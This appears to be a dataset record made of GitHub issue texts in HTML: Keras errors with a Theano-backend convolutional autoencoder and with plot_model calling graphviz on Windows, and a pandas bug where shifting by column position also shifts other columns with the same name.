"D:\PYTHON2-DEV\WinPython\python-2.7.10.amd64\lib\site-packages\theano-0.8.2-py2.7.egg\theano\gof\opt.py", line 1772, in process_node replacements = lopt.transform(node) File "D:\PYTHON2-DEV\WinPython\python-2.7.10.amd64\lib\site-packages\theano-0.8.2-py2.7.egg\theano\tensor\nnet\opt.py", line 402, in local_abstractconv_check node.op.__class__.__name__) AssertionError: AbstractConv2d Theano optimization failed: there is no implementation available supporting the requested options. Did you exclude both "conv_dnn" and "conv_gemm" from the optimizer? If on GPU, is cuDNN available and does the GPU support it? If on CPU, do you have a BLAS library installed Theano can link against? </code></pre></div> <p dir="auto">Question: Is the case that the original example is for TensorFlow only?</p> <p dir="auto">= CNN Autoencoder /w Sequential Model<br> Sample Code: <a href="https://gist.github.com/zakkum42/b251165232298425617944ab01e4cde6/7b350b4a56fb62768cf306484f0adf7f3455fb88">https://gist.github.com/zakkum42/b251165232298425617944ab01e4cde6/7b350b4a56fb62768cf306484f0adf7f3455fb88</a><br> Output/Error:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="Using Theano backend. Traceback (most recent call last): File &quot;D:\PYTHON2-DEV\Li_ws\CSE555\src\som\keras_cnn_ae_sequential.py&quot;, line 59, in &lt;module&gt; ('x_train shape:', (60000L, 1L, 28L, 28L)) (60000L, 'trai validation_data=(x_test, x_test)) File &quot;D:\PYTHON2-DEV\WinPython\python-2.7.10.amd64\lib\site-packages\keras-1.0.3-py2.7.egg\keras\models.py&quot;, line 408, in fit sample_weight=sample_weight) File &quot;D:\PYTHON2-DEV\WinPython\python-2.7.10.amd64\lib\site-packages\keras-1.0.3-py2.7.egg\keras\engine\training.py&quot;, line 994, in fit batch_size=batch_size) File &quot;D:\PYTHON2-DEV\WinPython\python-2.7.10.amd64\lib\site-packages\keras-1.0.3-py2.7.egg\keras\engine\training.py&quot;, line 925, in _standardize_user_data exception_prefix='model target') File &quot;D:\PYTHON2-DEV\WinPython\python-2.7.10.amd64\lib\site-packages\keras-1.0.3-py2.7.egg\keras\engine\training.py&quot;, line 104, in standardize_input_data str(array.shape)) Exception: Error when checking model target: expected convolution2d_7 to have shape (None, 1, 24, 24) but got array with shape (60000L, 1L, 28L, 28L) n samples') (10000L, 'test samples')"><pre class="notranslate"><code class="notranslate">Using Theano backend. Traceback (most recent call last): File "D:\PYTHON2-DEV\Li_ws\CSE555\src\som\keras_cnn_ae_sequential.py", line 59, in &lt;module&gt; ('x_train shape:', (60000L, 1L, 28L, 28L)) (60000L, 'trai validation_data=(x_test, x_test)) File "D:\PYTHON2-DEV\WinPython\python-2.7.10.amd64\lib\site-packages\keras-1.0.3-py2.7.egg\keras\models.py", line 408, in fit sample_weight=sample_weight) File "D:\PYTHON2-DEV\WinPython\python-2.7.10.amd64\lib\site-packages\keras-1.0.3-py2.7.egg\keras\engine\training.py", line 994, in fit batch_size=batch_size) File "D:\PYTHON2-DEV\WinPython\python-2.7.10.amd64\lib\site-packages\keras-1.0.3-py2.7.egg\keras\engine\training.py", line 925, in _standardize_user_data exception_prefix='model target') File "D:\PYTHON2-DEV\WinPython\python-2.7.10.amd64\lib\site-packages\keras-1.0.3-py2.7.egg\keras\engine\training.py", line 104, in standardize_input_data str(array.shape)) Exception: Error when checking model target: expected convolution2d_7 to have shape (None, 1, 24, 24) but got array with shape (60000L, 1L, 28L, 28L) n samples') (10000L, 'test samples') </code></pre></div> <p dir="auto">Based on the generated graph, convolution2d_7 accepts shape (None, 1, 24, 24), but the input is not converted to this shape.</p> <p dir="auto">Any suggestions on any of the two implementations?</p> <p dir="auto">Thank you in advance</p> <p dir="auto">K.</p>
<p dir="auto">Please make sure that the boxes below are checked before you submit your issue.<br> If your issue is an <strong>implementation question</strong>, please ask your question on <a href="http://stackoverflow.com/questions/tagged/keras" rel="nofollow">StackOverflow</a> or <a href="https://keras-slack-autojoin.herokuapp.com/" rel="nofollow">on the Keras Slack channel</a> instead of opening a GitHub issue.</p> <p dir="auto">Thank you!</p> <ul class="contains-task-list"> <li class="task-list-item"> <p dir="auto"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> Check that you are up-to-date with the master branch of Keras. You can update with:<br> <code class="notranslate">pip install git+git://github.com/keras-team/keras.git --upgrade --no-deps</code></p> </li> <li class="task-list-item"> <p dir="auto"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> Check that your version of TensorFlow is up-to-date. The installation instructions can be found <a href="https://www.tensorflow.org/get_started/os_setup" rel="nofollow">here</a>.</p> </li> <li class="task-list-item"> <p dir="auto"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> Provide a link to a GitHub Gist of a Python script that can reproduce your issue (or just copy the script here if it is short).</p> </li> </ul> <h3 dir="auto">Introduction</h3> <p dir="auto">I'm currently following the Plural Sight course on setting up Keras and using it for Object Detection. However with the second script I'm running into an AssertionError:</p> <p dir="auto"><a target="_blank" rel="noopener noreferrer nofollow" href="https://user-images.githubusercontent.com/2350015/55736756-438ac080-5a24-11e9-9b64-4992cf691e62.png"><img src="https://user-images.githubusercontent.com/2350015/55736756-438ac080-5a24-11e9-9b64-4992cf691e62.png" alt="image" style="max-width: 100%;"></a></p> <p dir="auto">Code used for the course:</p> <div class="highlight highlight-source-python notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="# deep_circles.py # Defines a network that can find separate circles of data # # Imports from sklearn.datasets import make_circles import numpy as np import matplotlib.pyplot as plt import os os.environ[&quot;TF_CPP_MIN_LOG_LEVEL&quot;]=&quot;2&quot; # Helper functions # plot the data on a figure def plot_data(pl, X, y): # plot class where y==0 pl.plot(X[y==0, 0], X[y==0,1], 'ob', alpha=0.5) # plot class where y==1 pl.plot(X[y==1, 0], X[y==1,1], 'xr', alpha=0.5) pl.legend(['0', '1']) return pl # Common function that draws the decision boundaries def plot_decision_boundary(model, X, y): amin, bmin = X.min(axis=0) - 0.1 amax, bmax = X.max(axis=0) + 0.1 hticks = np.linspace(amin, amax, 101) vticks = np.linspace(bmin, bmax, 101) aa, bb = np.meshgrid(hticks, vticks) ab = np.c_[aa.ravel(), bb.ravel()] # make prediction with the model and reshape the output so contourf can plot it c = model.predict(ab) Z = c.reshape(aa.shape) plt.figure(figsize=(12, 8)) # plot the contour plt.contourf(aa, bb, Z, cmap='bwr', alpha=0.2) # plot the moons of data plot_data(plt, X, y) return plt # Generate some data blobs. Data will be either 0 or 1 when 2 is number of centers. # X is a [number of samples, 2] sized array. X[sample] contains its x,y position of the sample in the space # ex: X[1] = [1.342, -2.3], X[2] = [-4.342, 2.12] # y is a [number of samples] sized array. y[sample] contains the class index (ie. 0 or 1 when there are 2 centers) # ex: y[1] = 0 , y[1] = 1 X, y = make_circles(n_samples=1000, factor=.6, noise=0.1, random_state=42) #pl = plot_data(plt, X, y) #pl.show() # Split the data into Training and Test sets from sklearn.model_selection import train_test_split X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42) # Create the keras model from keras.models import Sequential from keras.layers import Dense from keras.optimizers import Adam # Simple Sequential model model = Sequential() model.add(Dense(4, input_shape=(2,), activation=&quot;tanh&quot;, name=&quot;Hidden-1&quot;)) model.add(Dense(4, activation=&quot;tanh&quot;, name=&quot;Hidden-2&quot;)) # Add a Dense Fully Connected Layer with 1 neuron. Using input_shape = (2,) says the input will # be arrays of the form (*,2). The first dimension will be an unspecified # number of batches (rows) of data. The second dimension is 2 which are the X, Y positions of each data element. # The sigmoid activation function is used to return 0 or 1, signifying the data # cluster the position is predicted to belong to. model.add(Dense(1, activation=&quot;sigmoid&quot;, name=&quot;output_layer&quot;)) model.summary() # Compile the model. Minimize crossentopy for a binary. Maximize for accuracy model.compile(Adam(lr=0.05), 'binary_crossentropy', metrics=['accuracy']) from keras.utils import plot_model plot_model(model, to_file=&quot;model.png&quot;, show_shapes=True, show_layer_names=True) # The line above here fails # Define early stopping callback from keras.callbacks import EarlyStopping my_callbacks = [EarlyStopping(monitor='val_acc', patience=5, mode='max')] # Fit the model with the data from make_blobs. Make 100 cycles through the data. # Set verbose to 0 to supress progress messages model.fit(X_train, y_train, epochs=100, verbose=1, callbacks=my_callbacks, validation_data=(X_test, y_test)) # Get loss and accuracy on test data eval_result = model.evaluate(X_test, y_test) # Print test accuracy print(&quot;\n\nTest loss:&quot;, eval_result[0], &quot;Test accuracy:&quot;, eval_result[1]) # Plot the decision boundary plot_decision_boundary(model, X, y).show()"><pre class="notranslate"><span class="pl-c"># deep_circles.py</span> <span class="pl-c"># Defines a network that can find separate circles of data</span> <span class="pl-c">#</span> <span class="pl-c"># Imports</span> <span class="pl-k">from</span> <span class="pl-s1">sklearn</span>.<span class="pl-s1">datasets</span> <span class="pl-k">import</span> <span class="pl-s1">make_circles</span> <span class="pl-k">import</span> <span class="pl-s1">numpy</span> <span class="pl-k">as</span> <span class="pl-s1">np</span> <span class="pl-k">import</span> <span class="pl-s1">matplotlib</span>.<span class="pl-s1">pyplot</span> <span class="pl-k">as</span> <span class="pl-s1">plt</span> <span class="pl-k">import</span> <span class="pl-s1">os</span> <span class="pl-s1">os</span>.<span class="pl-s1">environ</span>[<span class="pl-s">"TF_CPP_MIN_LOG_LEVEL"</span>]<span class="pl-c1">=</span><span class="pl-s">"2"</span> <span class="pl-c"># Helper functions</span> <span class="pl-c"># plot the data on a figure</span> <span class="pl-k">def</span> <span class="pl-en">plot_data</span>(<span class="pl-s1">pl</span>, <span class="pl-v">X</span>, <span class="pl-s1">y</span>): <span class="pl-c"># plot class where y==0</span> <span class="pl-s1">pl</span>.<span class="pl-en">plot</span>(<span class="pl-v">X</span>[<span class="pl-s1">y</span><span class="pl-c1">==</span><span class="pl-c1">0</span>, <span class="pl-c1">0</span>], <span class="pl-v">X</span>[<span class="pl-s1">y</span><span class="pl-c1">==</span><span class="pl-c1">0</span>,<span class="pl-c1">1</span>], <span class="pl-s">'ob'</span>, <span class="pl-s1">alpha</span><span class="pl-c1">=</span><span class="pl-c1">0.5</span>) <span class="pl-c"># plot class where y==1</span> <span class="pl-s1">pl</span>.<span class="pl-en">plot</span>(<span class="pl-v">X</span>[<span class="pl-s1">y</span><span class="pl-c1">==</span><span class="pl-c1">1</span>, <span class="pl-c1">0</span>], <span class="pl-v">X</span>[<span class="pl-s1">y</span><span class="pl-c1">==</span><span class="pl-c1">1</span>,<span class="pl-c1">1</span>], <span class="pl-s">'xr'</span>, <span class="pl-s1">alpha</span><span class="pl-c1">=</span><span class="pl-c1">0.5</span>) <span class="pl-s1">pl</span>.<span class="pl-en">legend</span>([<span class="pl-s">'0'</span>, <span class="pl-s">'1'</span>]) <span class="pl-k">return</span> <span class="pl-s1">pl</span> <span class="pl-c"># Common function that draws the decision boundaries</span> <span class="pl-k">def</span> <span class="pl-en">plot_decision_boundary</span>(<span class="pl-s1">model</span>, <span class="pl-v">X</span>, <span class="pl-s1">y</span>): <span class="pl-s1">amin</span>, <span class="pl-s1">bmin</span> <span class="pl-c1">=</span> <span class="pl-v">X</span>.<span class="pl-en">min</span>(<span class="pl-s1">axis</span><span class="pl-c1">=</span><span class="pl-c1">0</span>) <span class="pl-c1">-</span> <span class="pl-c1">0.1</span> <span class="pl-s1">amax</span>, <span class="pl-s1">bmax</span> <span class="pl-c1">=</span> <span class="pl-v">X</span>.<span class="pl-en">max</span>(<span class="pl-s1">axis</span><span class="pl-c1">=</span><span class="pl-c1">0</span>) <span class="pl-c1">+</span> <span class="pl-c1">0.1</span> <span class="pl-s1">hticks</span> <span class="pl-c1">=</span> <span class="pl-s1">np</span>.<span class="pl-en">linspace</span>(<span class="pl-s1">amin</span>, <span class="pl-s1">amax</span>, <span class="pl-c1">101</span>) <span class="pl-s1">vticks</span> <span class="pl-c1">=</span> <span class="pl-s1">np</span>.<span class="pl-en">linspace</span>(<span class="pl-s1">bmin</span>, <span class="pl-s1">bmax</span>, <span class="pl-c1">101</span>) <span class="pl-s1">aa</span>, <span class="pl-s1">bb</span> <span class="pl-c1">=</span> <span class="pl-s1">np</span>.<span class="pl-en">meshgrid</span>(<span class="pl-s1">hticks</span>, <span class="pl-s1">vticks</span>) <span class="pl-s1">ab</span> <span class="pl-c1">=</span> <span class="pl-s1">np</span>.<span class="pl-s1">c_</span>[<span class="pl-s1">aa</span>.<span class="pl-en">ravel</span>(), <span class="pl-s1">bb</span>.<span class="pl-en">ravel</span>()] <span class="pl-c"># make prediction with the model and reshape the output so contourf can plot it</span> <span class="pl-s1">c</span> <span class="pl-c1">=</span> <span class="pl-s1">model</span>.<span class="pl-en">predict</span>(<span class="pl-s1">ab</span>) <span class="pl-v">Z</span> <span class="pl-c1">=</span> <span class="pl-s1">c</span>.<span class="pl-en">reshape</span>(<span class="pl-s1">aa</span>.<span class="pl-s1">shape</span>) <span class="pl-s1">plt</span>.<span class="pl-en">figure</span>(<span class="pl-s1">figsize</span><span class="pl-c1">=</span>(<span class="pl-c1">12</span>, <span class="pl-c1">8</span>)) <span class="pl-c"># plot the contour</span> <span class="pl-s1">plt</span>.<span class="pl-en">contourf</span>(<span class="pl-s1">aa</span>, <span class="pl-s1">bb</span>, <span class="pl-v">Z</span>, <span class="pl-s1">cmap</span><span class="pl-c1">=</span><span class="pl-s">'bwr'</span>, <span class="pl-s1">alpha</span><span class="pl-c1">=</span><span class="pl-c1">0.2</span>) <span class="pl-c"># plot the moons of data</span> <span class="pl-en">plot_data</span>(<span class="pl-s1">plt</span>, <span class="pl-v">X</span>, <span class="pl-s1">y</span>) <span class="pl-k">return</span> <span class="pl-s1">plt</span> <span class="pl-c"># Generate some data blobs. Data will be either 0 or 1 when 2 is number of centers.</span> <span class="pl-c"># X is a [number of samples, 2] sized array. X[sample] contains its x,y position of the sample in the space</span> <span class="pl-c"># ex: X[1] = [1.342, -2.3], X[2] = [-4.342, 2.12]</span> <span class="pl-c"># y is a [number of samples] sized array. y[sample] contains the class index (ie. 0 or 1 when there are 2 centers)</span> <span class="pl-c"># ex: y[1] = 0 , y[1] = 1</span> <span class="pl-v">X</span>, <span class="pl-s1">y</span> <span class="pl-c1">=</span> <span class="pl-en">make_circles</span>(<span class="pl-s1">n_samples</span><span class="pl-c1">=</span><span class="pl-c1">1000</span>, <span class="pl-s1">factor</span><span class="pl-c1">=</span><span class="pl-c1">.6</span>, <span class="pl-s1">noise</span><span class="pl-c1">=</span><span class="pl-c1">0.1</span>, <span class="pl-s1">random_state</span><span class="pl-c1">=</span><span class="pl-c1">42</span>) <span class="pl-c">#pl = plot_data(plt, X, y)</span> <span class="pl-c">#pl.show()</span> <span class="pl-c"># Split the data into Training and Test sets</span> <span class="pl-k">from</span> <span class="pl-s1">sklearn</span>.<span class="pl-s1">model_selection</span> <span class="pl-k">import</span> <span class="pl-s1">train_test_split</span> <span class="pl-v">X_train</span>, <span class="pl-v">X_test</span>, <span class="pl-s1">y_train</span>, <span class="pl-s1">y_test</span> <span class="pl-c1">=</span> <span class="pl-en">train_test_split</span>(<span class="pl-v">X</span>, <span class="pl-s1">y</span>, <span class="pl-s1">test_size</span><span class="pl-c1">=</span><span class="pl-c1">0.3</span>, <span class="pl-s1">random_state</span><span class="pl-c1">=</span><span class="pl-c1">42</span>) <span class="pl-c"># Create the keras model</span> <span class="pl-k">from</span> <span class="pl-s1">keras</span>.<span class="pl-s1">models</span> <span class="pl-k">import</span> <span class="pl-v">Sequential</span> <span class="pl-k">from</span> <span class="pl-s1">keras</span>.<span class="pl-s1">layers</span> <span class="pl-k">import</span> <span class="pl-v">Dense</span> <span class="pl-k">from</span> <span class="pl-s1">keras</span>.<span class="pl-s1">optimizers</span> <span class="pl-k">import</span> <span class="pl-v">Adam</span> <span class="pl-c"># Simple Sequential model</span> <span class="pl-s1">model</span> <span class="pl-c1">=</span> <span class="pl-v">Sequential</span>() <span class="pl-s1">model</span>.<span class="pl-en">add</span>(<span class="pl-v">Dense</span>(<span class="pl-c1">4</span>, <span class="pl-s1">input_shape</span><span class="pl-c1">=</span>(<span class="pl-c1">2</span>,), <span class="pl-s1">activation</span><span class="pl-c1">=</span><span class="pl-s">"tanh"</span>, <span class="pl-s1">name</span><span class="pl-c1">=</span><span class="pl-s">"Hidden-1"</span>)) <span class="pl-s1">model</span>.<span class="pl-en">add</span>(<span class="pl-v">Dense</span>(<span class="pl-c1">4</span>, <span class="pl-s1">activation</span><span class="pl-c1">=</span><span class="pl-s">"tanh"</span>, <span class="pl-s1">name</span><span class="pl-c1">=</span><span class="pl-s">"Hidden-2"</span>)) <span class="pl-c"># Add a Dense Fully Connected Layer with 1 neuron. Using input_shape = (2,) says the input will </span> <span class="pl-c"># be arrays of the form (*,2). The first dimension will be an unspecified </span> <span class="pl-c"># number of batches (rows) of data. The second dimension is 2 which are the X, Y positions of each data element.</span> <span class="pl-c"># The sigmoid activation function is used to return 0 or 1, signifying the data </span> <span class="pl-c"># cluster the position is predicted to belong to.</span> <span class="pl-s1">model</span>.<span class="pl-en">add</span>(<span class="pl-v">Dense</span>(<span class="pl-c1">1</span>, <span class="pl-s1">activation</span><span class="pl-c1">=</span><span class="pl-s">"sigmoid"</span>, <span class="pl-s1">name</span><span class="pl-c1">=</span><span class="pl-s">"output_layer"</span>)) <span class="pl-s1">model</span>.<span class="pl-en">summary</span>() <span class="pl-c"># Compile the model. Minimize crossentopy for a binary. Maximize for accuracy</span> <span class="pl-s1">model</span>.<span class="pl-en">compile</span>(<span class="pl-v">Adam</span>(<span class="pl-s1">lr</span><span class="pl-c1">=</span><span class="pl-c1">0.05</span>), <span class="pl-s">'binary_crossentropy'</span>, <span class="pl-s1">metrics</span><span class="pl-c1">=</span>[<span class="pl-s">'accuracy'</span>]) <span class="pl-k">from</span> <span class="pl-s1">keras</span>.<span class="pl-s1">utils</span> <span class="pl-k">import</span> <span class="pl-s1">plot_model</span> <span class="pl-en">plot_model</span>(<span class="pl-s1">model</span>, <span class="pl-s1">to_file</span><span class="pl-c1">=</span><span class="pl-s">"model.png"</span>, <span class="pl-s1">show_shapes</span><span class="pl-c1">=</span><span class="pl-c1">True</span>, <span class="pl-s1">show_layer_names</span><span class="pl-c1">=</span><span class="pl-c1">True</span>) <span class="pl-c"># The line above here fails</span> <span class="pl-c"># Define early stopping callback</span> <span class="pl-k">from</span> <span class="pl-s1">keras</span>.<span class="pl-s1">callbacks</span> <span class="pl-k">import</span> <span class="pl-v">EarlyStopping</span> <span class="pl-s1">my_callbacks</span> <span class="pl-c1">=</span> [<span class="pl-v">EarlyStopping</span>(<span class="pl-s1">monitor</span><span class="pl-c1">=</span><span class="pl-s">'val_acc'</span>, <span class="pl-s1">patience</span><span class="pl-c1">=</span><span class="pl-c1">5</span>, <span class="pl-s1">mode</span><span class="pl-c1">=</span><span class="pl-s">'max'</span>)] <span class="pl-c"># Fit the model with the data from make_blobs. Make 100 cycles through the data.</span> <span class="pl-c"># Set verbose to 0 to supress progress messages </span> <span class="pl-s1">model</span>.<span class="pl-en">fit</span>(<span class="pl-v">X_train</span>, <span class="pl-s1">y_train</span>, <span class="pl-s1">epochs</span><span class="pl-c1">=</span><span class="pl-c1">100</span>, <span class="pl-s1">verbose</span><span class="pl-c1">=</span><span class="pl-c1">1</span>, <span class="pl-s1">callbacks</span><span class="pl-c1">=</span><span class="pl-s1">my_callbacks</span>, <span class="pl-s1">validation_data</span><span class="pl-c1">=</span>(<span class="pl-v">X_test</span>, <span class="pl-s1">y_test</span>)) <span class="pl-c"># Get loss and accuracy on test data</span> <span class="pl-s1">eval_result</span> <span class="pl-c1">=</span> <span class="pl-s1">model</span>.<span class="pl-en">evaluate</span>(<span class="pl-v">X_test</span>, <span class="pl-s1">y_test</span>) <span class="pl-c"># Print test accuracy</span> <span class="pl-en">print</span>(<span class="pl-s">"<span class="pl-cce">\n</span><span class="pl-cce">\n</span>Test loss:"</span>, <span class="pl-s1">eval_result</span>[<span class="pl-c1">0</span>], <span class="pl-s">"Test accuracy:"</span>, <span class="pl-s1">eval_result</span>[<span class="pl-c1">1</span>]) <span class="pl-c"># Plot the decision boundary</span> <span class="pl-en">plot_decision_boundary</span>(<span class="pl-s1">model</span>, <span class="pl-v">X</span>, <span class="pl-s1">y</span>).<span class="pl-en">show</span>()</pre></div> <p dir="auto">There's already a duplicate of this issue but it was closed without a fix: <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="424593599" data-permission-text="Title is private" data-url="https://github.com/keras-team/keras/issues/12538" data-hovercard-type="issue" data-hovercard-url="/keras-team/keras/issues/12538/hovercard" href="https://github.com/keras-team/keras/issues/12538">#12538</a></p> <p dir="auto">I mean honestly wtf, hacking code into the Keras library without actually commiting it != a fix <g-emoji class="g-emoji" alias="smile" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f604.png">😄</g-emoji></p> <p dir="auto"><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ymodak/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ymodak">@ymodak</a>, you asked for a way to reproduce this error. All this information should be enough for this.</p> <h3 dir="auto">My environment</h3> <p dir="auto">OS: Windows 10<br> Python install: MiniConda with 3.6<br> CUDA: Yes</p> <p dir="auto">Commands I ran:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="conda create -n POMP2 python=3.6 activate POMP2 conda install tensorflow-gpu conda install keras conda install scikit-learn matplotlib pydot"><pre class="notranslate"><code class="notranslate">conda create -n POMP2 python=3.6 activate POMP2 conda install tensorflow-gpu conda install keras conda install scikit-learn matplotlib pydot </code></pre></div> <p dir="auto">Note: graphviz is automatically installed.</p> <h3 dir="auto">My investigation</h3> <p dir="auto">I already tried to figure out what's going on and it seems that at some point a file named <code class="notranslate">dot.bat</code> is called which returned exit code 1.</p> <p dir="auto"><code class="notranslate">Path of dot.bat: C:\Users\******\AppData\Local\conda\conda\pkgs\graphviz-2.38-hfd603c8_2\Library\bin\dot.bat</code></p> <p dir="auto">If I check out that file it calls dot.exe<br> <code class="notranslate">Path of dot.exe: C:\Users\********\AppData\Local\conda\conda\pkgs\graphviz-2.38-hfd603c8_2\Library\bin\graphviz\dot.exe</code></p> <p dir="auto">When you check out the screenshot, you can see on the bottom the commands that are being used to call dot.bat:</p> <p dir="auto"><code class="notranslate">['dot.bat', '-Tps', 'C:\\Users\\********\\AppData\\Local\\Temp\\tmpd7q3ltxy'] return code: 1</code></p> <p dir="auto">If I however check the Temp directory to see if there's a file named <code class="notranslate">tmpd7q3ltxy</code>. There is none.</p> <h3 dir="auto">Question</h3> <p dir="auto">Does anyone have any idea what's going on here?</p>
0
<p dir="auto">Hi,</p> <p dir="auto">I have recently come across an unexpexted behaviour of the dataframe "shift" function.<br> When column titles are duplicated (or present more often), a column-specific shift using index-based positioning (by "iloc") does not only shift the specified columns, but all columns sharing the same name. From the behaviour I guess that internally, the column names and not the indices are used, causing all identically named columns to shift.<br> This behaviour did not occur (at least to my knowledge ) with v. 0.13, but is present in both 0.15.1 and 0.15.2.<br> Please find attached a small code snippet which demonstrates the behaviour, and the system information.</p> <p dir="auto">Thanks a lot for any help</p> <p dir="auto">Kay</p> <h4 dir="auto">Begin example code</h4> <div class="highlight highlight-source-python notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="from pandas import * import pandas as pd data = DataFrame(np.random.randn(20, 5)) # Generating a random data frame data2 = data.copy() data3 = data.copy() shifting_matrix = [1,2,3,4,5] # shifting matrix - we want to shift the columns by these values #Shifting the columns: Expected behaviour. Column 1 is shifter by 1, Column 2 by 2 and so on for position, movement in enumerate(shifting_matrix): print position print movement data.iloc[:, position] = data.iloc[:,position].shift(movement) ## Changing the titles of the dataframe titles = [1,1,1,1,1] data2.columns = titles # Shifting the columns again. Since we are using index based positions, the shifting behaviour should be the same as above for position, movement in enumerate(shifting_matrix): print position print movement data2.iloc[:, position] = data2.iloc[:,position].shift(movement) titles2 = [1,1,2,2,1] # Making mixed column titles, duplicating data3.columns = titles2 # Shifting the columns again. Since we are using index based positions, the shifting behaviour should be the same as above for position, movement in enumerate(shifting_matrix): print position print movement data3.iloc[:, position] = data3.iloc[:,position].shift(movement) print data print data2 print data3 "><pre class="notranslate"><span class="pl-k">from</span> <span class="pl-s1">pandas</span> <span class="pl-k">import</span> <span class="pl-c1">*</span> <span class="pl-k">import</span> <span class="pl-s1">pandas</span> <span class="pl-k">as</span> <span class="pl-s1">pd</span> <span class="pl-s1">data</span> <span class="pl-c1">=</span> <span class="pl-v">DataFrame</span>(<span class="pl-s1">np</span>.<span class="pl-s1">random</span>.<span class="pl-en">randn</span>(<span class="pl-c1">20</span>, <span class="pl-c1">5</span>)) <span class="pl-c"># Generating a random data frame</span> <span class="pl-s1">data2</span> <span class="pl-c1">=</span> <span class="pl-s1">data</span>.<span class="pl-en">copy</span>() <span class="pl-s1">data3</span> <span class="pl-c1">=</span> <span class="pl-s1">data</span>.<span class="pl-en">copy</span>() <span class="pl-s1">shifting_matrix</span> <span class="pl-c1">=</span> [<span class="pl-c1">1</span>,<span class="pl-c1">2</span>,<span class="pl-c1">3</span>,<span class="pl-c1">4</span>,<span class="pl-c1">5</span>] <span class="pl-c"># shifting matrix - we want to shift the columns by these values</span> <span class="pl-c">#Shifting the columns: Expected behaviour. Column 1 is shifter by 1, Column 2 by 2 and so on</span> <span class="pl-k">for</span> <span class="pl-s1">position</span>, <span class="pl-s1">movement</span> <span class="pl-c1">in</span> <span class="pl-en">enumerate</span>(<span class="pl-s1">shifting_matrix</span>): <span class="pl-k">print</span> <span class="pl-s1">position</span> <span class="pl-k">print</span> <span class="pl-s1">movement</span> <span class="pl-s1">data</span>.<span class="pl-s1">iloc</span>[:, <span class="pl-s1">position</span>] <span class="pl-c1">=</span> <span class="pl-s1">data</span>.<span class="pl-s1">iloc</span>[:,<span class="pl-s1">position</span>].<span class="pl-en">shift</span>(<span class="pl-s1">movement</span>) <span class="pl-c">## Changing the titles of the dataframe</span> <span class="pl-s1">titles</span> <span class="pl-c1">=</span> [<span class="pl-c1">1</span>,<span class="pl-c1">1</span>,<span class="pl-c1">1</span>,<span class="pl-c1">1</span>,<span class="pl-c1">1</span>] <span class="pl-s1">data2</span>.<span class="pl-s1">columns</span> <span class="pl-c1">=</span> <span class="pl-s1">titles</span> <span class="pl-c"># Shifting the columns again. Since we are using index based positions, the shifting behaviour should be the same as above</span> <span class="pl-k">for</span> <span class="pl-s1">position</span>, <span class="pl-s1">movement</span> <span class="pl-c1">in</span> <span class="pl-en">enumerate</span>(<span class="pl-s1">shifting_matrix</span>): <span class="pl-k">print</span> <span class="pl-s1">position</span> <span class="pl-k">print</span> <span class="pl-s1">movement</span> <span class="pl-s1">data2</span>.<span class="pl-s1">iloc</span>[:, <span class="pl-s1">position</span>] <span class="pl-c1">=</span> <span class="pl-s1">data2</span>.<span class="pl-s1">iloc</span>[:,<span class="pl-s1">position</span>].<span class="pl-en">shift</span>(<span class="pl-s1">movement</span>) <span class="pl-s1">titles2</span> <span class="pl-c1">=</span> [<span class="pl-c1">1</span>,<span class="pl-c1">1</span>,<span class="pl-c1">2</span>,<span class="pl-c1">2</span>,<span class="pl-c1">1</span>] <span class="pl-c"># Making mixed column titles, duplicating</span> <span class="pl-s1">data3</span>.<span class="pl-s1">columns</span> <span class="pl-c1">=</span> <span class="pl-s1">titles2</span> <span class="pl-c"># Shifting the columns again. Since we are using index based positions, the shifting behaviour should be the same as above</span> <span class="pl-k">for</span> <span class="pl-s1">position</span>, <span class="pl-s1">movement</span> <span class="pl-c1">in</span> <span class="pl-en">enumerate</span>(<span class="pl-s1">shifting_matrix</span>): <span class="pl-k">print</span> <span class="pl-s1">position</span> <span class="pl-k">print</span> <span class="pl-s1">movement</span> <span class="pl-s1">data3</span>.<span class="pl-s1">iloc</span>[:, <span class="pl-s1">position</span>] <span class="pl-c1">=</span> <span class="pl-s1">data3</span>.<span class="pl-s1">iloc</span>[:,<span class="pl-s1">position</span>].<span class="pl-en">shift</span>(<span class="pl-s1">movement</span>) <span class="pl-k">print</span> <span class="pl-s1">data</span> <span class="pl-k">print</span> <span class="pl-s1">data2</span> <span class="pl-k">print</span> <span class="pl-s1">data3</span></pre></div> <h4 dir="auto">End example code</h4> <h2 dir="auto">INSTALLED VERSIONS</h2> <p dir="auto">commit: None<br> python: 2.7.6.final.0<br> python-bits: 32<br> OS: Windows<br> OS-release: 7<br> machine: AMD64<br> processor: Intel64 Family 6 Model 58 Stepping 9, GenuineIntel<br> byteorder: little<br> LC_ALL: None<br> LANG: nb_NO</p> <p dir="auto">pandas: 0.15.2<br> nose: 1.3.3<br> Cython: 0.20.1<br> numpy: 1.8.1<br> scipy: 0.14.0<br> statsmodels: 0.5.0<br> IPython: 2.1.0<br> sphinx: 1.2.2<br> patsy: 0.2.1<br> dateutil: 2.2<br> pytz: 2014.3<br> bottleneck: 0.8.0<br> tables: None<br> numexpr: 2.4<br> matplotlib: 1.3.1<br> openpyxl: 2.1.0<br> xlrd: None<br> xlwt: 0.7.5<br> xlsxwriter: 0.5.8<br> lxml: 3.3.5<br> bs4: 4.3.2<br> html5lib: 0.999<br> httplib2: None<br> apiclient: None<br> rpy2: None<br> sqlalchemy: 0.9.4<br> pymysql: None<br> psycopg2: None</p>
